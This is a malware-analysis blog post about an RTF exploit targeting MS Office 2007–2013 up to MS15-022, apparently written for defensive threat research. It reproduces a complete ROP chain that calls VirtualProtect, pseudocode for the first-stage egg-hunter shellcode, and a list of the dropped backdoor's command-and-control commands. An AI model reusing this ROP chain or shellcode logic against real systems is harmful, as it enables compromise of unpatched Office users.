Ongoing analysis of unknown exploit targeting Office 2007-2013 UTAI MS15-022

NB: This blog post will be updated in the upcoming days with more information


A few days before the publishing of this blog post I came across an unknown RTF exploit sample which I could not identify as being an exploit targeting a known vulnerability like CVE-2012-0158 or CVE-2014-1761. It turns out that this exploit sample has a far greater impact than most other ‘traditional’ memory corruption exploits targeting MS Office. Successful exploitation seems to be possible on all currently supported versions of MS Office up and including the MS15-022 patch.

ammendment.doc exploit sample

File name ammendment.doc
File size 371.8 KB
File type Rich Text Format data, unknown version
MD5 ae6b65ca7cbd4ca0ba86c6278c834547
First seen on VirusTotal 2015-08-04 07:29:17 UTC
Rerefences VT,,

The exploit sample analyzed in this blog post is an RTF file which contains 4 embedded objects. Each object has its own role in one of the stages of exploitation like: loading a non-aslr module, spraying the heap or triggering the vulnerability.

Object (In order of appearance) Likely Role
otkloadr.WRAssembly.1 Loads “msvcr71.dll” module for ASLR bypass
Word.Document.12 Heap spray using ActiveX objects
Used to store ROP chain and a 1st stage shellcode
Word.Document.12 Vulnerability trigger
Word.Document.12 Heap spray using ActiveX objects.
Role to be determined

Configurations targeted

Several different configurations have been tested against the ammendment.doc sample and it turns out that this exploit is very universal. All currently supported versions of MS Office up to and including the MS15-022 patch seem vulnerable. Installations employing ForceASLR (like Office 2013 on Windows 8.1) do not seem vulnerable.

Configuration targeted
MS Word 2007 <= MS15-022
MS Word 2010 <= MS15-022
MS Word 2013 <= MS15-022


CVE classification

Up to this point it is unclear which vulnerability has been exploited by this exploit. The fact that this exploit is only able of dropping its payload on versions of office up to and including MS15-022 might indicate that the vulnerability exploited by this exploit was patched in MS15-033.

On the other hand, the appearance date of this sample could indicate that this is a sample of CVE-2015-1642, a vulnerability patched by Microsoft in August 2015. But this is just pure speculation.

VirusTotal and Cryptam are not able to provide any relevant information regarding the targeted vulnerability either.

Exploited vulnerability – to be completed

A high level analysis of the exploited vulnerability is planned for the near future.


ASLR bypass

A known technique is being used to bypass ASLR, making it possible to use hardcoded addresses of ROP gadgets. This technique has first been mentioned by Parvez Anwar back in June 2014 on The exploits loads the otkloadr.dll library which contains the ProgID “otkloadr.WRAssembly.1”. This ProgID ensures that a “msvcr71.dll” library which is not compiled with the /DYNAMICBASE option will be loaded.


otkloadr.WRAssembly.1 object in RTF sample

Heap spray

The heap spray used in the ammendment.doc sample is similar in nature as one that has been seen in exploits targeting CVE-2013-3906. In this case the activeX1.bin file is loaded 40 times when the sample is loaded.



Inside of the activeX1.bin file (MD5:23cc315702179b8552b702892e433801) two things can be found:

  1. Padding containing 0x7C342404 dwords functioning as a RET-sled.
  2. A ROP chain and first stage shellcode after every 0x20000 bytes. (16 repetitions in total)

ROP chain and following shellcode as seen from activeX1.bin

ROP chain

The point at which the execution flow is taken over has not yet been identified, in the meanwhile only the part of the ROP chain responsible for marking memory as executable will be discussed.

After taking control over ESP (0x0900810) the execution flow will be redirected to the RET-sled located on the heap.


Execution flow reaching the RET-sled

Due to the inaccuracy of the heap spray execution will end up in the RET-sled. Following the RET-sled, eventually the ROP chain responsible for marking memory as executable will be hit.

0x7c342404    # ret
0x7c3651eb    # pop ebp # ret
0x7c3651eb    # skip 4 bytes
0x7c372b02    # pop ebx # ret 
0x00000201    # 0x201 -> ebx 
0x7c344364    # pop edx # ret 
0x00000040    # 0x40 -> edx 
0x7c351a28    # pop ecx # ret 
0x7c390fc7    # &Writable location -> ecx
0x7c342e9e    # pop edi # ret 
0x7c34a40f    # ret -> edi 
0x7c3650dc    # pop esi # ret 
0x7c3415a3    # jmp dword ptr [eax] -> esi 
0x7c347f97    # pop eax # ret 
0x7c37a151    # ptr to &VirtualProtect() - 0x0EF
0x7c378c4d    # pushad # add al,0EFh # ret 
0x7c345c30    # push esp # ret

People with eye for detail might notice that this ROP chain looks very similar to chains generated by After the “push esp # ret” gadget the first stage shellcode will be executed.


Shellcode analysis

The exploit analyzed in this blog post contains an advanced multistage shellcode which decrypts and drops a backdoor and innocent looking bait.

The 1st stage of the shellcode functions as egg hunter and is used to prepare for the execution of the 2nd stage shellcode. Dropping the lure and backdoor happens in the encrypted 2nd stage shellcode.

1st stage

The 1st stage shellcode functions as an egg hunter and prepares the execution of the 2nd stage shellcode. Its main functionality includes:

  • Locating the RTF file and 2nd stage shellcode in memory
  • Moving the 2nd stage shellcode to a pre-allocated buffer
  • Parsing data to the 2nd stage shellcode

Function addresses are retrieved by comparing the ROR-7 hashes of exported function names.

A disassembled version of this shellcode can be found on, A pseudocode equivalent of the 1st stage shellcode is available at the end of this blog post.

2nd stage

Dropping the actual backdoor happens in the 2nd stage shellcode. This 2nd stage shellcode is encrypted with a XOR-key of 0xfc to complicate shellcode detection based on signatures.


XOR decrypt of 2nd stage shellcode

Commented assembly and pseudocode of both shellcodes will be added at a later point in time.



File size 371.8 KB
Author RCE
Creation date 2015:07:28 12:10:00
File type Microsoft Word 97-2003 Document
MD5 15b5ab180ab245057d8cd4fafc63febc
First seen on VirusTotal 2015-08-04 07:29:17 UTC
Rerefences VT

After a successful exploitation a backdoor and an innocent looking document will be dropped. In this case the lure does not contain any specific target related information and only displays the sentence: “Hey……..”


Lure document that is shown after successful exploitation

Payload analysis

NB: More relevant data about the payload being dropped will be added in the future. The information currently provided must be seen as “as is” and is incomplete for now.

Relevant metadata

MD5 6bde5462f45a230edc7e7641dd711505
Copyright Copyright © Microsoft 2015
Publisher Microsoft
Product OkoloVch-Server
Internal name Windows Update.exe
File version
Debug path D:\1-Visual Basic Proggetti\UtilityWarrior\UtilityWarrior\obj\Debug\UtilityWarrior.pdb
First seen on VirusTotal 2015-08-04 12:22:45 UTC
References VirusTotal, Hybrid-Analysis,


When the backdoor is being analyzed in a sandbox one can observe DNS request for the “” domain. Passive DNS indicates that this domain has been pointing to the IP address:


DNS request for


Possible c&c commands – unconfirmed for now

Handshake, Pipe, Status, Plugin, ShutdownClient, RestartClient, UninstallClient, RestartPC, ClosePC, GetSoftware, ErSoftware, unistallSoftware, GetDriver, GetFiles, SearchFolder, RunFile, DeleteFile, RenameFile, DownloadTCP, UploadTCP, DownloadURL, RefreshLog, ClearLog, UnblockEverything, BlockEverything, RemoteDesktop, MonitorCounts, PcBounds, ShortLinkFolder


1st stage shellcode pseudocode

VirtualAlloc = rorExtractFunction(0x1EDE5967h, kernel32Base);
lpvBuffer = VirtualAlloc(0, 0x500000, 0x3000, 0x40);
funcArr = {0x0AC0A138E, 0x14B19C2, 0x9AA5F07Dh, 0x0};
{GetFileSize, CreateFileMappingA, MapViewOfFile} = rorExtractFunction(lpvBuffer, kernel32Base);
hFile = 0;
// Locate the start of the RTF file in memory
while (true) {
  do {
    hFile += 4;
    dFileSize = GetFileSize(hFile, 0);
  } while (dFileSize < 0xA000 || dFileSize > 0x200000);
  hFileMappingObject = CreateFileMappingA(hFile, 0, 2, 0, 0, 0);
  if (hFileMappingObject) {
    lpvFileView = MapViewOfFile(hFileMappingObject, 4, 0, 0, 0);
    if (lpvFileView) {
      if (&lpvFileView == "{\rt") {
lpvFileView += 0x10000;
// Locate the encrypted 2nd stage shellcode preceded by the fefefefe fefefefe ffffffff tag
while (true) {	  
  do {
    lpvFileView += 4;
  } while (&lpvFileView != 0xFEFEFEFE);
  do {
  } while ((char*)lpvFileView == 0xFE);
  if (&lpvFileView == 0xFFFFFFFF) {
    scAddr = lpvBuffer + 0x1000;
    memcpy(lpvBuffer, lpvFileView + 4, 0x1000);
    scAddr(kernel32Base, lpvFileView, hFile, dFileSize, lpvBuffer);

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s